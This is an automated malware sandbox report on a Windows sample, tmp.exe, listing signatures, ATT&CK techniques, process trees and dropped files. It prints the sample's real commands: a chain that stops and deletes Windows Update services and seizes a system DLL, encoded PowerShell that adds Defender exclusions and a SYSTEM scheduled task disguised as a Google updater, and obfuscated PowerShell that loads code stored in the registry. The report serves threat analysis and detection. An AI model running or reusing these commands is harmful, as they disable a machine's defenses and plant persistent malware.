049726de878da8b7385b3f2a6223902e302ec9fac95d46ab5268bfe1aed094ca

Analysis

max time kernel
12s
max time network
90s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
27-08-2022 20:18

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General

Target

tmp.exe
Size

3.0MB
MD5

0730caf5a88ec99420f192f98bfa07d8
SHA1

5830ffc1e922e8a3cd64c5d6593ae2ef33da25a1
SHA256

049726de878da8b7385b3f2a6223902e302ec9fac95d46ab5268bfe1aed094ca
SHA512

bcb82242dd7a8759d247eb3252c60f73f781e4156d77fa2990e43bdbe58af9b7deb2921ea17348dbb60b5940a1a903d34799cc9c622596f0a70d4add2a466e94
SSDEEP

49152:qqZH7ZkIFkIpoCkZVyEwuiRnQ/GRZ9j9EpOExENF/0S4fydRtlyZK4V5UVaVylO:nvk29miaY2pOXMS4fErymKUO

Score

10^/10

discovery evasion exploit

Malware Config

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe

Possible privilege escalation attempt 2 IoCs
exploit

Processes:

icacls.exetakeown.exe

pid process

3900 icacls.exe
2892 takeown.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

tmp.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\Control Panel\International\Geo\Nation tmp.exe
Modifies file permissions 1 TTPs 2 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

takeown.exeicacls.exe

pid process

2892 takeown.exe
3900 icacls.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

24 ip-api.com
Suspicious use of SetThreadContext 1 IoCs

Processes:

tmp.exe

description pid process target process

PID 4488 set thread context of 1268 4488 tmp.exe conhost.exe
Drops file in Windows directory 1 IoCs

Processes:

conhost.exe

description ioc process

File created C:\Windows\Tasks\dialersvc32.job conhost.exe
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exe

pid process

4640 sc.exe
3460 sc.exe
2760 sc.exe
4400 sc.exe
3984 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Modifies registry key 1 TTPs 9 IoCs

Modify Registry
T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

pid process

42836 reg.exe
66292 reg.exe
1528 reg.exe
960 reg.exe
3852 reg.exe
2512 reg.exe
2132 reg.exe
32336 reg.exe
3736 reg.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exetmp.exepowershell.exe

pid process

4952 powershell.exe
4952 powershell.exe
4488 tmp.exe
4116 powershell.exe

pid	process
3900	icacls.exe
2892	takeown.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\Control Panel\International\Geo\Nation	tmp.exe

pid	process
2892	takeown.exe
3900	icacls.exe

flow	ioc
24	ip-api.com

description	pid	process	target process
PID 4488 set thread context of 1268	4488	tmp.exe	conhost.exe

description	ioc	process
File created	C:\Windows\Tasks\dialersvc32.job	conhost.exe

pid	process
4640	sc.exe
3460	sc.exe
2760	sc.exe
4400	sc.exe
3984	sc.exe

pid	process
42836	reg.exe
66292	reg.exe
1528	reg.exe
960	reg.exe
3852	reg.exe
2512	reg.exe
2132	reg.exe
32336	reg.exe
3736	reg.exe

pid	process
4952	powershell.exe
4952	powershell.exe
4488	tmp.exe
4116	powershell.exe

Suspicious use of AdjustPrivilegeToken 11 IoCs

Processes:

powershell.exetmp.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	4952	powershell.exe
Token: SeDebugPrivilege	4488	tmp.exe
Token: SeShutdownPrivilege	4524	powercfg.exe
Token: SeCreatePagefilePrivilege	4524	powercfg.exe
Token: SeShutdownPrivilege	1432	powercfg.exe
Token: SeCreatePagefilePrivilege	1432	powercfg.exe
Token: SeShutdownPrivilege	5084	powercfg.exe
Token: SeCreatePagefilePrivilege	5084	powercfg.exe
Token: SeShutdownPrivilege	3540	powercfg.exe
Token: SeCreatePagefilePrivilege	3540	powercfg.exe
Token: SeDebugPrivilege	4116	powershell.exe

Suspicious use of WriteProcessMemory 45 IoCs

Processes:

tmp.execmd.execmd.exe

description	pid	process	target process
PID 4488 wrote to memory of 4952	4488	tmp.exe	powershell.exe
PID 4488 wrote to memory of 4952	4488	tmp.exe	powershell.exe
PID 4488 wrote to memory of 2528	4488	tmp.exe	cmd.exe
PID 4488 wrote to memory of 2528	4488	tmp.exe	cmd.exe
PID 4488 wrote to memory of 408	4488	tmp.exe	cmd.exe
PID 4488 wrote to memory of 408	4488	tmp.exe	cmd.exe
PID 2528 wrote to memory of 2760	2528	cmd.exe	sc.exe
PID 2528 wrote to memory of 2760	2528	cmd.exe	sc.exe
PID 2528 wrote to memory of 4400	2528	cmd.exe	sc.exe
PID 2528 wrote to memory of 4400	2528	cmd.exe	sc.exe
PID 408 wrote to memory of 4524	408	cmd.exe	powercfg.exe
PID 408 wrote to memory of 4524	408	cmd.exe	powercfg.exe
PID 2528 wrote to memory of 3984	2528	cmd.exe	sc.exe
PID 2528 wrote to memory of 3984	2528	cmd.exe	sc.exe
PID 408 wrote to memory of 1432	408	cmd.exe	powercfg.exe
PID 408 wrote to memory of 1432	408	cmd.exe	powercfg.exe
PID 2528 wrote to memory of 4640	2528	cmd.exe	sc.exe
PID 2528 wrote to memory of 4640	2528	cmd.exe	sc.exe
PID 408 wrote to memory of 5084	408	cmd.exe	powercfg.exe
PID 408 wrote to memory of 5084	408	cmd.exe	powercfg.exe
PID 2528 wrote to memory of 3460	2528	cmd.exe	sc.exe
PID 2528 wrote to memory of 3460	2528	cmd.exe	sc.exe
PID 408 wrote to memory of 3540	408	cmd.exe	powercfg.exe
PID 408 wrote to memory of 3540	408	cmd.exe	powercfg.exe
PID 2528 wrote to memory of 3736	2528	cmd.exe	reg.exe
PID 2528 wrote to memory of 3736	2528	cmd.exe	reg.exe
PID 2528 wrote to memory of 960	2528	cmd.exe	reg.exe
PID 2528 wrote to memory of 960	2528	cmd.exe	reg.exe
PID 2528 wrote to memory of 3852	2528	cmd.exe	reg.exe
PID 2528 wrote to memory of 3852	2528	cmd.exe	reg.exe
PID 4488 wrote to memory of 4116	4488	tmp.exe	powershell.exe
PID 4488 wrote to memory of 4116	4488	tmp.exe	powershell.exe
PID 4488 wrote to memory of 1268	4488	tmp.exe	conhost.exe
PID 4488 wrote to memory of 1268	4488	tmp.exe	conhost.exe
PID 4488 wrote to memory of 1268	4488	tmp.exe	conhost.exe
PID 4488 wrote to memory of 1268	4488	tmp.exe	conhost.exe
PID 4488 wrote to memory of 1268	4488	tmp.exe	conhost.exe
PID 4488 wrote to memory of 1268	4488	tmp.exe	conhost.exe
PID 4488 wrote to memory of 1268	4488	tmp.exe	conhost.exe
PID 4488 wrote to memory of 1268	4488	tmp.exe	conhost.exe
PID 4488 wrote to memory of 1268	4488	tmp.exe	conhost.exe
PID 4488 wrote to memory of 1268	4488	tmp.exe	conhost.exe
PID 4488 wrote to memory of 1268	4488	tmp.exe	conhost.exe
PID 2528 wrote to memory of 1528	2528	cmd.exe	reg.exe
PID 2528 wrote to memory of 1528	2528	cmd.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\tmp.exe
"C:\Users\Admin\AppData\Local\Temp\tmp.exe"
1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4488

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AZQAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZABzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGkAaABnAG8AIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAZABkAHkAIwA+AA=="
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4952

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
2⤵
- Suspicious use of WriteProcessMemory
PID:2528

C:\Windows\system32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:2760

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:4400

C:\Windows\system32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:3984

C:\Windows\system32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:4640

C:\Windows\system32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:3460

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
3⤵
- Modifies registry key
PID:3736

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
3⤵
- Modifies registry key
PID:960

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
3⤵
- Modifies security service
- Modifies registry key
PID:3852

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
3⤵
- Modifies registry key
PID:1528

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
3⤵
- Modifies registry key
PID:2512

C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\WaaSMedicSvc.dll
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2892

C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3900

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:2132

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:32336

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:42836

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:66292

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
3⤵
PID:88628

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
3⤵
PID:98300

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
3⤵
PID:114908

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
3⤵
PID:123120

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
3⤵
PID:134420

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
3⤵
PID:148852

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
3⤵
PID:157848

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
2⤵
- Suspicious use of WriteProcessMemory
PID:408

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4524

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1432

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:5084

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3540

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHAAbAAjAD4AIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AHQAZQBtAHAAIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwB0AGUAbQBwAC4AZQB4AGUAJwApACAAPAAjAHEAaQBpACMAPgA="
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4116

C:\Users\Admin\AppData\Local\Temp\temp.exe
"C:\Users\Admin\AppData\Local\Temp\temp.exe"
3⤵
PID:4244

C:\Users\Admin\AppData\Local\Temp\cmd.exe
"C:\Users\Admin\AppData\Local\Temp\cmd.exe"
4⤵
PID:3588

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 5 & Del "temp.exe"
4⤵
PID:9760

C:\Windows\system32\choice.exe
choice /C Y /N /D Y /T 5
5⤵
PID:36344

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe
2⤵
- Drops file in Windows directory
PID:1268

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAagAjAD4AIABSAGUAZwBpAHMAdABlAHIALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBBAGMAdABpAG8AbgAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwBwAG8AdwBlAHIAcwBoAGUAbABsACcAIAAtAEEAcgBnAHUAbQBlAG4AdAAgACcALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIAAiAFAAQQBBAGoAQQBIAGsAQQBaAHcAQgB5AEEARwBjAEEASQB3AEEAKwBBAEMAQQBBAFUAdwBCADAAQQBHAEUAQQBjAGcAQgAwAEEAQwAwAEEAVQBBAEIAeQBBAEcAOABBAFkAdwBCAGwAQQBIAE0AQQBjAHcAQQBnAEEAQwAwAEEAUgBnAEIAcABBAEcAdwBBAFoAUQBCAFEAQQBHAEUAQQBkAEEAQgBvAEEAQwBBAEEASgB3AEIARABBAEQAbwBBAFgAQQBCAFEAQQBIAEkAQQBiAHcAQgBuAEEASABJAEEAWQBRAEIAdABBAEMAQQBBAFIAZwBCAHAAQQBHAHcAQQBaAFEAQgB6AEEARgB3AEEAUgB3AEIAdgBBAEcAOABBAFoAdwBCAHMAQQBHAFUAQQBYAEEAQgBEAEEARwBnAEEAYwBnAEIAdgBBAEcAMABBAFoAUQBCAGMAQQBIAFUAQQBjAEEAQgBrAEEARwBFAEEAZABBAEIAbABBAEgASQBBAEwAZwBCAGwAQQBIAGcAQQBaAFEAQQBuAEEAQwBBAEEATABRAEIAVwBBAEcAVQBBAGMAZwBCAGkAQQBDAEEAQQBVAGcAQgAxAEEARwA0AEEAUQBRAEIAegBBAEMAQQBBAFAAQQBBAGoAQQBIAEkAQQBkAGcAQQBqAEEARAA0AEEAIgAnACkAIAA8ACMAbwB1AHgAIwA+ACAALQBUAHIAaQBnAGcAZQByACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAVAByAGkAZwBnAGUAcgAgAC0AQQB0AFMAdABhAHIAdAB1AHAAKQAgADwAIwBjAG4AdAAjAD4AIAAtAFMAZQB0AHQAaQBuAGcAcwAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAgAC0AQQBsAGwAbwB3AFMAdABhAHIAdABJAGYATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAGkAcwBhAGwAbABvAHcASABhAHIAZABUAGUAcgBtAGkAbgBhAHQAZQAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAG8AbgB0AFMAdABvAHAATwBuAEkAZABsAGUARQBuAGQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ARABhAHkAcwAgADEAMAAwADAAKQApACAAPAAjAHMAZQB6AGEAIwA+ACAALQBUAGEAcwBrAE4AYQBtAGUAIAAnAEcAbwBvAGcAbABlAFUAcABkAGEAdABlAFQAYQBzAGsATQBhAGMAaABpAG4AZQBRAEMAJwAgAC0AVQBzAGUAcgAgACcAUwB5AHMAdABlAG0AJwAgAC0AUgB1AG4ATABlAHYAZQBsACAAJwBIAGkAZwBoAGUAcwB0ACcAIAAtAEYAbwByAGMAZQAgADwAIwBiAGYAIwA+ADsAIABDAG8AcAB5AC0ASQB0AGUAbQAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAB0AG0AcAAuAGUAeABlACcAIAAtAEQAZQBzAHQAaQBuAGEAdABpAG8AbgAgACcAQwA6AFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwBcAEcAbwBvAGcAbABlAFwAQwBoAHIAbwBtAGUAXAB1AHAAZABhAHQAZQByAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAAPAAjAGUAZABhAG8AIwA+ADsAIABTAHQAYQByAHQALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAAPAAjAHIAeABhAHEAIwA+ACAALQBUAGEAcwBrAE4AYQBtAGUAIAAnAEcAbwBvAGcAbABlAFUAcABkAGEAdABlAFQAYQBzAGsATQBhAGMAaABpAG4AZQBRAEMAJwA7AA=="
2⤵
PID:2476

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
1⤵
PID:1476

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
1⤵
PID:2140

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{f0cea4b3-d806-4046-b7e4-46afc6e8ca58}
1⤵
PID:6440

C:\Windows\SysWOW64\dllhost.exe
C:\Windows\SysWOW64\dllhost.exe /Processid:{9b8769f7-8ba1-4721-b0dd-b429058e31df}
1⤵
PID:122636

C:\Windows\SysWOW64\dllhost.exe
C:\Windows\SysWOW64\dllhost.exe /Processid:{9b8769f7-8ba1-4721-b0dd-b429058e31df}
1⤵
PID:123128

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -EncodedCommand "PAAjAHkAZwByAGcAIwA+ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAJwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAHUAcABkAGEAdABlAHIALgBlAHgAZQAnACAALQBWAGUAcgBiACAAUgB1AG4AQQBzACAAPAAjAHIAdgAjAD4A"
1⤵
PID:134396

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

Impair Defenses

Modify Registry

Web Service

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
62623d22bd9e037191765d5083ce16a3

SHA1
4a07da6872672f715a4780513d95ed8ddeefd259

SHA256
95d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010

SHA512
9a448b7a0d867466c2ea04ab84d2a9485d5fd20ab53b2b854f491831ee3f1d781b94d2635f7b0b35cb9f2d373cd52c67570879a56a42ed66bc9db06962ed4992

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
3764e1e8c6ef3610359fb0a21ab70ec4

SHA1
8faea2b4dcc640526295ec7a21f19f6515636794

SHA256
b9afe647c50971c157e94a2b2144deec25288c84b8b6a304f4edb4139f57754c

SHA512
548ed11ccc34175826970800244678acc838e5569ae2ef0d298450e37eac1f0492bbddc426206f70da680cbc310ab30000e9da6bd47cdf3ba8bce32b51cbd633

Download Submit
C:\Users\Admin\AppData\Local\Temp\cmd.exe

Filesize
351KB

MD5
2c4214d0aa9bfd57e2669e99f8b72af6

SHA1
d84c9cedff9ad408436a7765c5af5cabe1d0a5c9

SHA256
c9376943afab4230e3fc9694e7cd3759f85121abe7891d5dba7ab621f45311c1

SHA512
1baf14ee2c1c31a380610d08430db2e9bfe23bb8e16a26b39e8f38d51caa06149c1eb51e79391bb831804f460ba9df2378972476e73b0715aa0cc5232aa7423d

Download Submit
C:\Users\Admin\AppData\Local\Temp\cmd.exe

Filesize
351KB

MD5
2c4214d0aa9bfd57e2669e99f8b72af6

SHA1
d84c9cedff9ad408436a7765c5af5cabe1d0a5c9

SHA256
c9376943afab4230e3fc9694e7cd3759f85121abe7891d5dba7ab621f45311c1

SHA512
1baf14ee2c1c31a380610d08430db2e9bfe23bb8e16a26b39e8f38d51caa06149c1eb51e79391bb831804f460ba9df2378972476e73b0715aa0cc5232aa7423d

Download Submit
C:\Users\Admin\AppData\Local\Temp\temp.exe

Filesize
7KB

MD5
f321da5881a6aaeb53da13d5c075406b

SHA1
979ed66205d2bad63fc016dc8c32cff6a2b6fc05

SHA256
a6bdf9fcd293ff8169731da2a0a9501ad3a4fd14ce1559bc3f3d26dae9e6f57c

SHA512
c7cf54223afcf437d7206e97ce1003ebf5ddc2b8aa986003f53068a4fd873346298bc998abf303bd54a94e83689ac34786e98deb34446862c1c344121d46851b

Download Submit
C:\Users\Admin\AppData\Local\Temp\temp.exe

Filesize
7KB

MD5
f321da5881a6aaeb53da13d5c075406b

SHA1
979ed66205d2bad63fc016dc8c32cff6a2b6fc05

SHA256
a6bdf9fcd293ff8169731da2a0a9501ad3a4fd14ce1559bc3f3d26dae9e6f57c

SHA512
c7cf54223afcf437d7206e97ce1003ebf5ddc2b8aa986003f53068a4fd873346298bc998abf303bd54a94e83689ac34786e98deb34446862c1c344121d46851b

Download Submit
memory/408-138-0x0000000000000000-mapping.dmp

Download
memory/960-150-0x0000000000000000-mapping.dmp

Download
memory/1268-162-0x0000000140000000-0x0000000140056000-memory.dmp

Filesize
344KB

Download
memory/1268-157-0x0000000140000000-0x0000000140056000-memory.dmp

Filesize
344KB

Download
memory/1268-156-0x0000000140000000-0x0000000140056000-memory.dmp

Filesize
344KB

Download
memory/1268-153-0x0000000140000000-0x0000000140056000-memory.dmp

Filesize
344KB

Download
memory/1268-155-0x0000000140001844-mapping.dmp

Download
memory/1432-144-0x0000000000000000-mapping.dmp

Download
memory/1476-211-0x0000000005AA0000-0x0000000005B36000-memory.dmp

Filesize
600KB

Download
memory/1476-212-0x0000000004DC0000-0x0000000004DE2000-memory.dmp

Filesize
136KB

Download
